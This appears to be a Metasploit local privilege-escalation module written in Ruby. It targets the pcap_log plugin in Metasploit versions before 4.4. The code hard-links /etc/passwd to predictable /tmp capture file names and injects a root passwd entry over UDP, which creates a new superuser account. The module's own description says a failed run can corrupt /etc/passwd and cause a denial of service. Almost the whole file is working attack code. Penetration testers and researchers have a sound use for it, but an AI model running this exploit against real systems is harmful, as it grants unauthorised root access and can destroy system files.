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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  Rank = ManualRanking
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  include Msf::Post::File
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  include Msf::Exploit::Local::Linux
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name'	=> 'Multi Escalate Metasploit pcap_log Local Privilege Escalation',
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        'Description' => %q{
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          Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when used with the default settings,
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          creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these
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          filenames to /etc/passwd, then sending a packet with a privileged user entry contained within.
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          This, and all the other packets, are appended to /etc/passwd.
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          Successful exploitation results in the creation of a new superuser account.
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          This module requires manual clean-up. Upon success, you should remove /tmp/msf3-session*pcap
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          files and truncate /etc/passwd. Note that if this module fails, you can potentially induce
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          a permanent DoS on the target by corrupting the /etc/passwd file.
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        },
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        'License' => MSF_LICENSE,
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        'Author'	=> [ '0a29406d9794e4f9b30b3c5d6702c708'],
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        'Platform' => %w[bsd linux unix],
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        'SessionTypes' => [ 'shell', 'meterpreter' ],
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        'References' => [
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          [ 'BID', '54472' ],
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          [ 'URL', 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html'],
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          [ 'URL', 'https://community.rapid7.com/docs/DOC-1946' ],
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        ],
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        'DisclosureDate' => '2012-07-16',
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        'Stance' => Msf::Exploit::Stance::Passive,
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        'Notes' => {
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          'Stability' => [SERVICE_RESOURCE_LOSS],
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          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(2940),
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        OptString.new('USERNAME', [ true, 'Username for the new superuser', 'metasploit' ]),
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        OptString.new('PASSWORD', [ true, 'Password for the new superuser', 'metasploit' ]),
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        OptInt.new('MINUTES', [true, 'Number of minutes to try to inject', 5])
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      ]
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    )
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  end
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  def normalize_minutes
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    datastore['MINUTES'].abs
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  rescue StandardError
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    0
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  end
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  def run
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    fail_with(Failure::NotFound, '/etc/passwd not found on system') unless file_exist?('/etc/passwd')
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    initial_size = read_file('/etc/passwd').lines.count
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    print_status("/etc/passwd is currently #{initial_size} lines long")
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    print_status("Setting up the victim's /tmp dir")
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    username = datastore['USERNAME']
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    i = 0
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    j = 0
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    loop do
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      # Setup links to /etc/passwd
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      if (i == 0)
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        j += 1
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        break if j >= datastore['MINUTES'] + 1 # Give up after X minutes
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        # 0a2940: cmd_exec is slow, so send 1 command to do all the links
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        print_status "Linking /etc/passwd to predictable tmp files (Attempt #{j})"
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        cmd_exec("for i in `seq 0 120` ; do ln /etc/passwd /tmp/msf3-session_`date --date=\"\$i seconds\" +%Y-%m-%d_%H-%M-%S`.pcap ; done")
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      end
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      current_size = read_file('/etc/passwd').lines.count
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      # passwd file line count has changed
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      break if current_size != initial_size
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      # PCAP is flowing
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      pkt = "\n\n" + username + ':' + datastore['PASSWORD'].crypt('0a') + ":0:0:Metasploit Root Account:/tmp:/bin/bash\n\n"
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      vprint_status("Sending /etc/passwd file contents payload to #{session.session_host}")
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      udpsock = Rex::Socket::Udp.create(
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        {
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          'Context' => { 'Msf' => framework, 'MsfExploit' => self }
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        }
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      )
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      udpsock.sendto(pkt, session.session_host, datastore['RPORT'])
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      sleep(1) # wait a second
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      i = (i + 1) % 60 # increment second counter
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    end
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    if read_file('/etc/passwd').includes?('Metasploit')
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      print_good("Success. You should now be able to login or su to the '#{username}' account")
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      # TODO: Consider recording our now-created username and password as a valid credential here.
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    else
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      print_error("Failed, the '#{username}' user does not appear to have been added")
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    end
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    # 0a2940: Initially the plan was to have this post module switch user, upload & execute a new payload
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    #	  However beceause the session is not a terminal, su will not always allow this.
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  end
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end
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